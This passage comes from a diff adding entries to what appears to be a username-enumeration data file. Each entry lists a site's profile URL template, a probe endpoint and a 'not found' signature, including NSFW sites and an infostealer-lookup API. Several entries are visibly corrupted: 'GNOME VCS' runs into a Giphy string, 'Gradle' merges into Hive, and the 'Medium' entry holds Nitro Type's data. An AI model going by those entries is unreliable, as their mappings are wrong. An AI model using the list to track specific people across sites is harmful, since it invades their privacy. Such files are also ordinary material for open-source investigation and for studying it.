"urlMain": "https://coinvote.cc/", + "username_claimed": "blue" + }, + "ColourLovers": { + "errorType": "status_code", + "url": "https://www.colourlovers.com/lover/{}", + "urlMain": "https://www.colourlovers.com/", + "username_claimed": "blue" + }, + "Contently": { + "errorType": "response_url", + "errorUrl": "https://contently.com", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.contently.com/", + "urlMain": "https://contently.com/", + "username_claimed": "jordanteicher" + }, + "Coroflot": { + "errorType": "status_code", + "url": "https://www.coroflot.com/{}", + "urlMain": "https://coroflot.com/", + "username_claimed": "blue" + }, + "Cplusplus": { + "errorType": "message", + "errorMsg": "404 Page Not Found", + "url": "https://cplusplus.com/user/{}", + "urlMain": "https://cplusplus.com", + "username_claimed": "mbozzi" + }, + "Cracked": { + "errorType": "response_url", + "errorUrl": "https://www.cracked.com/", + "url": "https://www.cracked.com/members/{}/", + "urlMain": "https://www.cracked.com/", + "username_claimed": "blue" + }, + "Cracked Forum": { + "errorMsg": "The member you specified is either invalid or doesn't exist", + "errorType": "message", + "url": "https://cracked.sh/{}", + "urlMain": "https://cracked.sh/", + "username_claimed": "Blue" + }, + "Credly": { + "errorType": "status_code", + "url": "https://www.credly.com/users/{}", + "urlMain": "https://www.credly.com/", + "username_claimed": "credly" + }, + "Crevado": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.crevado.com", + "urlMain": "https://crevado.com/", + "username_claimed": "blue" + }, + "Crowdin": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9._-]{2,255}$", + "url": "https://crowdin.com/profile/{}", + "urlMain": "https://crowdin.com/", + "username_claimed": "blue" + }, + "CryptoHack": { + "errorType": "response_url", + "errorUrl": "https://cryptohack.org/", + "url": "https://cryptohack.org/user/{}/", + "urlMain": "https://cryptohack.org/", + "username_claimed": "blue" + }, + "Cryptomator Forum": { + "errorType": "status_code", + "url": "https://community.cryptomator.org/u/{}", + "urlMain": "https://community.cryptomator.org/", + "username_claimed": "michael" + }, + "Cults3D": { + "errorMsg": "Oh dear, this page is not working!", + "errorType": "message", + "url": "https://cults3d.com/en/users/{}/creations", + "urlMain": "https://cults3d.com/en", + "username_claimed": "brown" + }, + "CyberDefenders": { + "errorType": "status_code", + "regexCheck": "^[^\\/:*?\"<>|@]{3,50}$", + "request_method": "GET", + "url": "https://cyberdefenders.org/p/{}", + "urlMain": "https://cyberdefenders.org/", + "username_claimed": "mlohn" + }, + "DEV Community": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://dev.to/{}", + "urlMain": "https://dev.to/", + "username_claimed": "blue" + }, + "DMOJ": { + "errorMsg": "No such user", + "errorType": "message", + "url": "https://dmoj.ca/user/{}", + "urlMain": "https://dmoj.ca/", + "username_claimed": "junferno" + }, + "DailyMotion": { + "errorType": "status_code", + "url": "https://www.dailymotion.com/{}", + "urlMain": "https://www.dailymotion.com/", + "username_claimed": "blue" + }, + "dcinside": { + "errorType": "status_code", + "url": "https://gallog.dcinside.com/{}", + "urlMain": "https://www.dcinside.com/", + "username_claimed": "anrbrb" + }, + "Dealabs": { + "errorMsg": "La page que vous essayez", + "errorType": "message", + "regexCheck": "[a-z0-9]{4,16}", + "url": "https://www.dealabs.com/profile/{}", + "urlMain": "https://www.dealabs.com/", + "username_claimed": "blue" + }, + "DeviantArt": { + "errorType": "message", + "errorMsg": "Llama Not Found", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://www.deviantart.com/{}", + "urlMain": "https://www.deviantart.com/", + "username_claimed": "blue" + }, + "DigitalSpy": { + "errorMsg": "The page you were looking for could not be found.", + "errorType": "message", + "url": "https://forums.digitalspy.com/profile/{}", + "urlMain": "https://forums.digitalspy.com/", + "username_claimed": "blue", + "regexCheck": "^\\w{3,20}$" + }, + "Discogs": { + "errorType": "status_code", + "url": "https://www.discogs.com/user/{}", + "urlMain": "https://www.discogs.com/", + "username_claimed": "blue" + }, + "Discord": { + "errorType": "message", + "url": "https://discord.com", + "urlMain": "https://discord.com/", + "urlProbe": "https://discord.com/api/v9/unique-username/username-attempt-unauthed", + "errorMsg": ["{\"taken\":false}", "The resource is being rate limited"], + "request_method": "POST", + "request_payload": { + "username": "{}" + }, + "headers": { + "Content-Type": "application/json" + }, + "username_claimed": "blue" + }, + "Discord.bio": { + "errorType": "message", + "errorMsg": "Server Error (500)", + "url": "https://discords.com/api-v2/bio/details/{}", + "urlMain": "https://discord.bio/", + "username_claimed": "robert" + }, + "Discuss.Elastic.co": { + "errorType": "status_code", + "url": "https://discuss.elastic.co/u/{}", + "urlMain": "https://discuss.elastic.co/", + "username_claimed": "blue" + }, + "Diskusjon.no": { + "errorMsg": "{\"result\":\"ok\"}", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_.-]{3,40}$", + "urlProbe": "https://www.diskusjon.no/?app=core&module=system&controller=ajax&do=usernameExists&input={}", + "url": "https://www.diskusjon.no", + "urlMain": "https://www.diskusjon.no", + "username_claimed": "blue" + }, + "Disqus": { + "errorType": "status_code", + "url": "https://disqus.com/{}", + "urlMain": "https://disqus.com/", + "username_claimed": "blue" + }, + "Docker Hub": { + "errorType": "status_code", + "url": "https://hub.docker.com/u/{}/", + "urlMain": "https://hub.docker.com/", + "urlProbe": "https://hub.docker.com/v2/users/{}/", + "username_claimed": "blue" + }, + "Dribbble": { + "errorMsg": "Whoops, that page is gone.", + "errorType": "message", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://dribbble.com/{}", + "urlMain": "https://dribbble.com/", + "username_claimed": "blue" + }, + "Duolingo": { + "errorMsg": "{\"users\":[]}", + "errorType": "message", + "url": "https://www.duolingo.com/profile/{}", + "urlMain": "https://duolingo.com/", + "urlProbe": "https://www.duolingo.com/2017-06-30/users?username={}", + "username_claimed": "blue" + }, + "Eintracht Frankfurt Forum": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://community.eintracht.de/fans/{}", + "urlMain": "https://community.eintracht.de/", + "username_claimed": "mmammu" + }, + "Empretienda AR": { + "__comment__": "Note that Error Connecting responses may be indicative of unclaimed handles", + "errorType": "status_code", + "url": "https://{}.empretienda.com.ar", + "urlMain": "https://empretienda.com", + "username_claimed": "camalote" + }, + "Envato Forum": { + "errorType": "status_code", + "url": "https://forums.envato.com/u/{}", + "urlMain": "https://forums.envato.com/", + "username_claimed": "enabled" + }, + "Erome": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://www.erome.com/{}", + "urlMain": "https://www.erome.com/", + "username_claimed": "bob" + }, + "Exposure": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9-]{1,63}$", + "url": "https://{}.exposure.co/", + "urlMain": "https://exposure.co/", + "username_claimed": "jonasjacobsson" + }, + "exophase": { + "errorType": "status_code", + "url": "https://www.exophase.com/user/{}/", + "urlMain": "https://www.exophase.com/", + "username_claimed": "blue" + }, + "EyeEm": { + "errorType": "status_code", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "username_claimed": "blue" + }, + "F3.cool": { + "errorType": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "username_claimed": "blue" + }, + "Fameswap": { + "errorType": "status_code", + "url": "https://fameswap.com/user/{}", + "urlMain": "https://fameswap.com/", + "username_claimed": "fameswap" + }, + "Fandom": { + "errorType": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "username_claimed": "Jungypoo" + }, + "Fanpop": { + "errorType": "response_url", + "errorUrl": "https://www.fanpop.com/", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "username_claimed": "blue" + }, + "Finanzfrage": { + "errorType": "status_code", + "url": "https://www.finanzfrage.net/nutzer/{}", + "urlMain": "https://www.finanzfrage.net/", + "username_claimed": "finanzfrage" + }, + "Flickr": { + "errorType": "status_code", + "url": "https://www.flickr.com/people/{}", + "urlMain": "https://www.flickr.com/", + "username_claimed": "blue" + }, + "Flightradar24": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{3,20}$", + "url": "https://my.flightradar24.com/{}", + "urlMain": "https://www.flightradar24.com/", + "username_claimed": "jebbrooks" + }, + "Flipboard": { + "errorType": "status_code", + "regexCheck": "^([a-zA-Z0-9_]){1,15}$", + "url": "https://flipboard.com/@{}", + "urlMain": "https://flipboard.com/", + "username_claimed": "blue" + }, + "Football": { + "errorMsg": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d", + "errorType": "message", + "url": "https://www.rusfootball.info/user/{}/", + "urlMain": "https://www.rusfootball.info/", + "username_claimed": "solo87" + }, + "FortniteTracker": { + "errorType": "status_code", + "url": "https://fortnitetracker.com/profile/all/{}", + "urlMain": "https://fortnitetracker.com/challenges", + "username_claimed": "blue" + }, + "Forum Ophilia": { + "errorMsg": "that user does not exist", + "errorType": "message", + "isNSFW": true, + "url": "https://www.forumophilia.com/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.forumophilia.com/", + "username_claimed": "bob" + }, + "Fosstodon": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "url": "https://fosstodon.org/@{}", + "urlMain": "https://fosstodon.org/", + "username_claimed": "blue" + }, + "Framapiaf": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "url": "https://framapiaf.org/@{}", + "urlMain": "https://framapiaf.org", + "username_claimed": "pylapp" + }, + "Freelancer": { + "errorMsg": "\"users\":{}", + "errorType": "message", + "url": "https://www.freelancer.com/u/{}", + "urlMain": "https://www.freelancer.com/", + "urlProbe": "https://www.freelancer.com/api/users/0.1/users?usernames%5B%5D={}&compact=true", + "username_claimed": "red0xff" + }, + "Freesound": { + "errorType": "status_code", + "url": "https://freesound.org/people/{}/", + "urlMain": "https://freesound.org/", + "username_claimed": "blue" + }, + "GNOME VCS": { + "errorType": "response_url", + "errorUrl": "https://gitlab.gnome.org/{}", + "regexCheck": "^(?!-)[a-zA-Z0-9_.-]{2,255}(? GIFs - Find & Share on GIPHY", + "url": "https://giphy.com/{}", + "urlMain": "https://giphy.com/", + "username_claimed": "red" + }, + "GitBook": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.gitbook.io/", + "urlMain": "https://gitbook.com/", + "username_claimed": "gitbook" + }, + "GitHub": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,38}$", + "url": "https://www.github.com/{}", + "urlMain": "https://www.github.com/", + "username_claimed": "blue" + }, + "Warframe Market": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://warframe.market/profile/{}", + "urlMain": "https://warframe.market/", + "urlProbe": "https://api.warframe.market/v2/user/{}", + "username_claimed": "kaiallalone" + }, + "GitLab": { + "errorMsg": "[]", + "errorType": "message", + "url": "https://gitlab.com/{}", + "urlMain": "https://gitlab.com/", + "urlProbe": "https://gitlab.com/api/v4/users?username={}", + "username_claimed": "blue" + }, + "Gitea": { + "errorType": "status_code", + "url": "https://gitea.com/{}", + "urlMain": "https://gitea.com/", + "username_claimed": "xorm" + }, + "Gitee": { + "errorType": "status_code", + "url": "https://gitee.com/{}", + "urlMain": "https://gitee.com/", + "username_claimed": "wizzer" + }, + "GoodReads": { + "errorType": "status_code", + "url": "https://www.goodreads.com/{}", + "urlMain": "https://www.goodreads.com/", + "username_claimed": "blue" + }, + "Google Play": { + "errorMsg": "the requested URL was not found on this server", + "errorType": "message", + "url": "https://play.google.com/store/apps/developer?id={}", + "urlMain": "https://play.google.com", + "username_claimed": "GitHub" + }, + "Gradle": { + "errorType": "status_code", + "regexCheck": "^(?!-)[a-zA-Z0-9-]{3,}(?User Not Found - Hive", + "errorType": "message", + "url": "https://hive.blog/@{}", + "urlMain": "https://hive.blog/", + "username_claimed": "mango-juice" + }, + "Holopin": { + "errorMsg": "true", + "errorType": "message", + "request_method": "POST", + "request_payload": { + "username": "{}" + }, + "url": "https://holopin.io/@{}", + "urlMain": "https://holopin.io", + "urlProbe": "https://www.holopin.io/api/auth/username", + "username_claimed": "red" + }, + "Houzz": { + "errorType": "status_code", + "url": "https://houzz.com/user/{}", + "urlMain": "https://houzz.com/", + "username_claimed": "blue" + }, + "HubPages": { + "errorType": "status_code", + "url": "https://hubpages.com/@{}", + "urlMain": "https://hubpages.com/", + "username_claimed": "blue" + }, + "Hubski": { + "errorMsg": "No such user", + "errorType": "message", + "url": "https://hubski.com/user/{}", + "urlMain": "https://hubski.com/", + "username_claimed": "blue" + }, + "HudsonRock": { + "errorMsg": "This username is not associated", + "errorType": "message", + "url": "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-username?username={}", + "urlMain": "https://hudsonrock.com", + "username_claimed": "testadmin" + }, + "Hugging Face": { + "errorType": "status_code", + "url": "https://huggingface.co/{}", + "urlMain": "https://huggingface.co/", + "username_claimed": "Pasanlaksitha" + }, + "IFTTT": { + "errorType": "status_code", + "regexCheck": "^[A-Za-z0-9]{3,35}$", + "url": "https://www.ifttt.com/p/{}", + "urlMain": "https://www.ifttt.com/", + "username_claimed": "blue" + }, + "Ifunny": { + "errorType": "status_code", + "url": "https://ifunny.co/user/{}", + "urlMain": "https://ifunny.co/", + "username_claimed": "agua" + }, + "IRC-Galleria": { + "errorType": "response_url", + "errorUrl": "https://irc-galleria.net/users/search?username={}", + "url": "https://irc-galleria.net/user/{}", + "urlMain": "https://irc-galleria.net/", + "username_claimed": "appas" + }, + "Icons8 Community": { + "errorType": "status_code", + "url": "https://community.icons8.com/u/{}/summary", + "urlMain": "https://community.icons8.com/", + "username_claimed": "thefourCraft" + }, + "Image Fap": { + "errorMsg": "Not found", + "errorType": "message", + "isNSFW": true, + "url": "https://www.imagefap.com/profile/{}", + "urlMain": "https://www.imagefap.com/", + "username_claimed": "blue" + }, + "ImgUp.cz": { + "errorType": "status_code", + "url": "https://imgup.cz/{}", + "urlMain": "https://imgup.cz/", + "username_claimed": "adam" + }, + "Imgur": { + "errorType": "status_code", + "url": "https://imgur.com/user/{}", + "urlMain": "https://imgur.com/", + "urlProbe": "https://api.imgur.com/account/v1/accounts/{}?client_id=546c25a59c58ad7", + "username_claimed": "blue" + }, + "imood": { + "errorType": "status_code", + "url": "https://www.imood.com/users/{}", + "urlMain": "https://www.imood.com/", + "username_claimed": "blue" + }, + "Instagram": { + "errorType": "status_code", + "url": "https://instagram.com/{}", + "urlMain": "https://instagram.com/", + "urlProbe": "https://imginn.com/{}", + "username_claimed": "instagram" + }, + "Instapaper": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://www.instapaper.com/p/{}", + "urlMain": "https://www.instapaper.com/", + "username_claimed": "john" + }, + "Instructables": { + "errorType": "status_code", + "url": "https://www.instructables.com/member/{}", + "urlMain": "https://www.instructables.com/", + "urlProbe": "https://www.instructables.com/json-api/showAuthorExists?screenName={}", + "username_claimed": "blue" + }, + "Intigriti": { + "errorType": "status_code", + "regexCheck": "[a-z0-9_]{1,25}", + "request_method": "GET", + "url": "https://app.intigriti.com/profile/{}", + "urlMain": "https://app.intigriti.com", + "urlProbe": "https://api.intigriti.com/user/public/profile/{}", + "username_claimed": "blue" + }, + "Ionic Forum": { + "errorType": "status_code", + "url": "https://forum.ionicframework.com/u/{}", + "urlMain": "https://forum.ionicframework.com/", + "username_claimed": "theblue222" + }, + "Issuu": { + "errorType": "status_code", + "url": "https://issuu.com/{}", + "urlMain": "https://issuu.com/", + "username_claimed": "jenny" + }, + "Itch.io": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.itch.io/", + "urlMain": "https://itch.io/", + "username_claimed": "blue" + }, + "Itemfix": { + "errorMsg": "ItemFix - Channel: ", + "errorType": "message", + "url": "https://www.itemfix.com/c/{}", + "urlMain": "https://www.itemfix.com/", + "username_claimed": "blue" + }, + "Jellyfin Weblate": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9@._-]{1,150}$", + "url": "https://translate.jellyfin.org/user/{}/", + "urlMain": "https://translate.jellyfin.org/", + "username_claimed": "EraYaN" + }, + "Jimdo": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.jimdosite.com", + "urlMain": "https://jimdosite.com/", + "username_claimed": "jenny" + }, + "Joplin Forum": { + "errorType": "status_code", + "url": "https://discourse.joplinapp.org/u/{}", + "urlMain": "https://discourse.joplinapp.org/", + "username_claimed": "laurent" + }, + "Jupyter Community Forum": { + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorType": "message", + "url": "https://discourse.jupyter.org/u/{}/summary", + "urlMain": "https://discourse.jupyter.org", + "username_claimed": "choldgraf" + }, + "Kaggle": { + "errorType": "status_code", + "url": "https://www.kaggle.com/{}", + "urlMain": "https://www.kaggle.com/", + "username_claimed": "dansbecker" + }, + "kaskus": { + "errorType": "status_code", + "url": "https://www.kaskus.co.id/@{}", + "urlMain": "https://www.kaskus.co.id", + "urlProbe": "https://www.kaskus.co.id/api/users?username={}", + "request_method": "GET", + "username_claimed": "l0mbart" + }, + "Keybase": { + "errorType": "status_code", + "url": "https://keybase.io/{}", + "urlMain": "https://keybase.io/", + "username_claimed": "blue" + }, + "Kick": { + "__comment__": "Cloudflare. Only viable when proxied.", + "errorType": "status_code", + "url": "https://kick.com/{}", + "urlMain": "https://kick.com/", + "urlProbe": "https://kick.com/api/v2/channels/{}", + "username_claimed": "blue" + }, + "Kik": { + "errorMsg": "The page you requested was not found", + "errorType": "message", + "url": "https://kik.me/{}", + "urlMain": "http://kik.me/", + "urlProbe": "https://ws2.kik.com/user/{}", + "username_claimed": "blue" + }, + "Kongregate": { + "errorType": "status_code", + "headers": { + "Accept": "text/html" + }, + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://www.kongregate.com/accounts/{}", + "urlMain": "https://www.kongregate.com/", + "username_claimed": "blue" + }, + "Kvinneguiden": { + "errorMsg": "{\"result\":\"ok\"}", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_.-]{3,18}$", + "urlProbe": "https://forum.kvinneguiden.no/?app=core&module=system&controller=ajax&do=usernameExists&input={}", + "url": "https://forum.kvinneguiden.no", + "urlMain": "https://forum.kvinneguiden.no", + "username_claimed": "blue" + }, + "LOR": { + "errorType": "status_code", + "url": "https://www.linux.org.ru/people/{}/profile", + "urlMain": "https://linux.org.ru/", + "username_claimed": "red" + }, + "Laracast": { + "errorType": "status_code", + "url": "https://laracasts.com/@{}", + "urlMain": "https://laracasts.com/", + "regexCheck": "^[a-zA-Z0-9_-]{3,}$", + "username_claimed": "user1" + }, + "Launchpad": { + "errorType": "status_code", + "url": "https://launchpad.net/~{}", + "urlMain": "https://launchpad.net/", + "username_claimed": "blue" + }, + "LeetCode": { + "errorType": "status_code", + "url": "https://leetcode.com/{}", + "urlMain": "https://leetcode.com/", + "username_claimed": "blue" + }, + "LemmyWorld": { + "errorType": "message", + "errorMsg": "

Error!

", + "url": "https://lemmy.world/u/{}", + "urlMain": "https://lemmy.world", + "username_claimed": "blue" + }, + "LessWrong": { + "url": "https://www.lesswrong.com/users/{}", + "urlMain": "https://www.lesswrong.com/", + "errorType": "response_url", + "errorUrl": "https://www.lesswrong.com/", + "username_claimed": "habryka" + }, + "Letterboxd": { + "errorMsg": "Sorry, we can\u2019t find the page you\u2019ve requested.", + "errorType": "message", + "url": "https://letterboxd.com/{}", + "urlMain": "https://letterboxd.com/", + "username_claimed": "blue" + }, + "LibraryThing": { + "errorMsg": "

Error: This user doesn't exist

", + "errorType": "message", + "headers": { + "Cookie": "LTAnonSessionID=3159599315; LTUnifiedCookie=%7B%22areyouhuman%22%3A1%7D; " + }, + "url": "https://www.librarything.com/profile/{}", + "urlMain": "https://www.librarything.com/", + "username_claimed": "blue" + }, + "Lichess": { + "errorType": "status_code", + "url": "https://lichess.org/@/{}", + "urlMain": "https://lichess.org", + "username_claimed": "john" + }, + "LinkedIn": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9]{3,100}$", + "request_method": "GET", + "url": "https://linkedin.com/in/{}", + "urlMain": "https://linkedin.com", + "username_claimed": "paulpfeister" + }, + "Linktree": { + "errorMsg": "\"statusCode\":404", + "errorType": "message", + "regexCheck": "^[\\w\\.]{2,30}$", + "url": "https://linktr.ee/{}", + "urlMain": "https://linktr.ee/", + "username_claimed": "anne" + }, + "LinuxFR.org": { + "errorType": "status_code", + "url": "https://linuxfr.org/users/{}", + "urlMain": "https://linuxfr.org/", + "username_claimed": "pylapp" + }, + "Listed": { + "errorType": "response_url", + "errorUrl": "https://listed.to/@{}", + "url": "https://listed.to/@{}", + "urlMain": "https://listed.to/", + "username_claimed": "listed" + }, + "LiveJournal": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.livejournal.com", + "urlMain": "https://www.livejournal.com/", + "username_claimed": "blue" + }, + "Lobsters": { + "errorType": "status_code", + "regexCheck": "[A-Za-z0-9][A-Za-z0-9_-]{0,24}", + "url": "https://lobste.rs/u/{}", + "urlMain": "https://lobste.rs/", + "username_claimed": "jcs" + }, + "LottieFiles": { + "errorType": "status_code", + "url": "https://lottiefiles.com/{}", + "urlMain": "https://lottiefiles.com/", + "username_claimed": "lottiefiles" + }, + "LushStories": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://www.lushstories.com/profile/{}", + "urlMain": "https://www.lushstories.com/", + "username_claimed": "chris_brown" + }, + "MMORPG Forum": { + "errorType": "status_code", + "url": "https://forums.mmorpg.com/profile/{}", + "urlMain": "https://forums.mmorpg.com/", + "username_claimed": "goku" + }, + "Mamot": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "url": "https://mamot.fr/@{}", + "urlMain": "https://mamot.fr/", + "username_claimed": "anciensEnssat" + }, + "Medium": { + "errorMsg": "Nitro Type | Competitive Typing Game | Race Your Friends", + "errorType": "message", + "url": "https://www.nitrotype.com/racer/{}", + "urlMain": "https://www.nitrotype.com/", + "username_claimed": "jianclash" + }, + "NotABug.org": { + "errorType": "status_code", + "url": "https://notabug.org/{}", + "urlMain": "https://notabug.org/", + "urlProbe": "https://notabug.org/{}/followers", + "username_claimed": "red" + }, + "Nothing Community": { + "errorType": "status_code", + "url": "https://nothing.community/u/{}", + "urlMain": "https://nothing.community/", + "username_claimed": "Carl" + }, + "Nyaa.si": { + "errorType": "status_code", + "url": "https://nyaa.si/user/{}", + "urlMain": "https://nyaa.si/", + "username_claimed": "blue" + }, + "ObservableHQ": { + "errorType": "message", + "errorMsg": "Page not found", + "url": "https://observablehq.com/@{}", + "urlMain": "https://observablehq.com/", + "username_claimed": "mbostock" + }, + "Open Collective": { + "errorType": "status_code", + "url": "https://opencollective.com/{}", + "urlMain": "https://opencollective.com/", + "username_claimed": "sindresorhus" + }, + "OpenGameArt": { + "errorType": "status_code", + "url": "https://opengameart.org/users/{}", + "urlMain": "https://opengameart.org", + "username_claimed": "ski" + }, + "OpenStreetMap": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.openstreetmap.org/user/{}", + "urlMain": "https://www.openstreetmap.org/", + "username_claimed": "blue" + }, + "Odysee": { + "errorMsg": "", + "errorType": "message", + "url": "https://odysee.com/@{}", + "urlMain": "https://odysee.com/", + "username_claimed": "Odysee" + }, + "Opensource": { + "errorType": "status_code", + "url": "https://opensource.com/users/{}", + "urlMain": "https://opensource.com/", + "username_claimed": "red" + }, + "OurDJTalk": { + "errorMsg": "The specified member cannot be found", + "errorType": "message", + "url": "https://ourdjtalk.com/members?username={}", + "urlMain": "https://ourdjtalk.com/", + "username_claimed": "steve" + }, + "Outgress": { + "errorMsg": "Outgress - Error", + "errorType": "message", + "url": "https://outgress.com/agents/{}", + "urlMain": "https://outgress.com/", + "username_claimed": "pylapp" + }, + "PCGamer": { + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorType": "message", + "url": "https://forums.pcgamer.com/members/?username={}", + "urlMain": "https://pcgamer.com", + "username_claimed": "admin" + }, + "PSNProfiles.com": { + "errorType": "response_url", + "errorUrl": "https://psnprofiles.com/?psnId={}", + "url": "https://psnprofiles.com/{}", + "urlMain": "https://psnprofiles.com/", + "username_claimed": "blue" + }, + "Packagist": { + "errorType": "response_url", + "errorUrl": "https://packagist.org/search/?q={}&reason=vendor_not_found", + "url": "https://packagist.org/packages/{}/", + "urlMain": "https://packagist.org/", + "username_claimed": "psr" + }, + "Pastebin": { + "errorMsg": "Not Found (#404)", + "errorType": "message", + "url": "https://pastebin.com/u/{}", + "urlMain": "https://pastebin.com/", + "username_claimed": "blue" + }, + "Patched": { + "errorMsg": "The member you specified is either invalid or doesn't exist.", + "errorType": "message", + "url": "https://patched.sh/User/{}", + "urlMain": "https://patched.sh/", + "username_claimed": "blue" + }, + "Patreon": { + "errorType": "status_code", + "url": "https://www.patreon.com/{}", + "urlMain": "https://www.patreon.com/", + "username_claimed": "blue" + }, + "PentesterLab": { + "errorType": "status_code", + "regexCheck": "^[\\w]{4,30}$", + "url": "https://pentesterlab.com/profile/{}", + "urlMain": "https://pentesterlab.com/", + "username_claimed": "0day" + }, + "HotUKdeals": { + "errorType": "status_code", + "url": "https://www.hotukdeals.com/profile/{}", + "urlMain": "https://www.hotukdeals.com/", + "username_claimed": "Blue", + "request_method": "GET" + }, + "Mydealz": { + "errorType": "status_code", + "url": "https://www.mydealz.de/profile/{}", + "urlMain": "https://www.mydealz.de/", + "username_claimed": "blue", + "request_method": "GET" + }, + "Chollometro": { + "errorType": "status_code", + "url": "https://www.chollometro.com/profile/{}", + "urlMain": "https://www.chollometro.com/", + "username_claimed": "blue", + "request_method": "GET" + }, + "PepperNL": { + "errorType": "status_code", + "url": "https://nl.pepper.com/profile/{}", + "urlMain": "https://nl.pepper.com/", + "username_claimed": "Dynaw", + "request_method": "GET" + }, + "PepperPL": { + "errorType": "status_code", + "url": "https://www.pepper.pl/profile/{}", + "urlMain": "https://www.pepper.pl/", + "username_claimed": "FireChicken", + "request_method": "GET" + }, + "Preisjaeger": { + "errorType": "status_code", + "url": "https://www.preisjaeger.at/profile/{}", + "urlMain": "https://www.preisjaeger.at/", + "username_claimed": "Stefan", + "request_method": "GET" + }, + "Pepperdeals": { + "errorType": "status_code", + "url": "https://www.pepperdeals.se/profile/{}", + "urlMain": "https://www.pepperdeals.se/", + "username_claimed": "Mark", + "request_method": "GET" + }, + "PepperealsUS": { + "errorType": "status_code", + "url": "https://www.pepperdeals.com/profile/{}", + "urlMain": "https://www.pepperdeals.com/", + "username_claimed": "Stepan", + "request_method": "GET" + }, + "Promodescuentos": { + "errorType": "status_code", + "url": "https://www.promodescuentos.com/profile/{}", + "urlMain": "https://www.promodescuentos.com/", + "username_claimed": "blue", + "request_method": "GET" + }, + "Periscope": { + "errorType": "status_code", + "url": "https://www.periscope.tv/{}/", + "urlMain": "https://www.periscope.tv/", + "username_claimed": "blue" + }, + "Pinkbike": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.pinkbike.com/u/{}/", + "urlMain": "https://www.pinkbike.com/", + "username_claimed": "blue" + }, + "pixelfed.social": { + "errorType": "status_code", + "url": "https://pixelfed.social/{}/", + "urlMain": "https://pixelfed.social", + "username_claimed": "pylapp" + }, + "PlayStore": { + "errorType": "status_code", + "url": "https://play.google.com/store/apps/developer?id={}", + "urlMain": "https://play.google.com/store", + "username_claimed": "Facebook" + }, + "Playstrategy": { + "errorType": "status_code", + "url": "https://playstrategy.org/@/{}", + "urlMain": "https://playstrategy.org", + "username_claimed": "oruro" + }, + "Plurk": { + "errorMsg": "User Not Found!", + "errorType": "message", + "url": "https://www.plurk.com/{}", + "urlMain": "https://www.plurk.com/", + "username_claimed": "plurkoffice" + }, + "PocketStars": { + "errorMsg": "Join Your Favorite Adult Stars", + "errorType": "message", + "isNSFW": true, + "url": "https://pocketstars.com/{}", + "urlMain": "https://pocketstars.com/", + "username_claimed": "hacker" + }, + "Pokemon Showdown": { + "errorType": "status_code", + "url": "https://pokemonshowdown.com/users/{}", + "urlMain": "https://pokemonshowdown.com", + "username_claimed": "blue" + }, + "Polarsteps": { + "errorType": "status_code", + "url": "https://polarsteps.com/{}", + "urlMain": "https://polarsteps.com/", + "urlProbe": "https://api.polarsteps.com/users/byusername/{}", + "username_claimed": "james" + }, + "Polygon": { + "errorType": "status_code", + "url": "https://www.polygon.com/users/{}", + "urlMain": "https://www.polygon.com/", + "username_claimed": "swiftstickler" + }, + "Polymart": { + "errorType": "response_url", + "errorUrl": "https://polymart.org/user/-1", + "url": "https://polymart.org/user/{}", + "urlMain": "https://polymart.org/", + "username_claimed": "craciu25yt" + }, + "Pornhub": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://pornhub.com/users/{}", + "urlMain": "https://pornhub.com/", + "username_claimed": "blue" + }, + "ProductHunt": { + "errorType": "status_code", + "url": "https://www.producthunt.com/@{}", + "urlMain": "https://www.producthunt.com/", + "username_claimed": "jenny" + }, + "programming.dev": { + "errorMsg": "Error!", + "errorType": "message", + "url": "https://programming.dev/u/{}", + "urlMain": "https://programming.dev", + "username_claimed": "pylapp" + }, + "Pychess": { + "errorType": "message", + "errorMsg": "404", + "url": "https://www.pychess.org/@/{}", + "urlMain": "https://www.pychess.org", + "username_claimed": "gbtami" + }, + "PromoDJ": { + 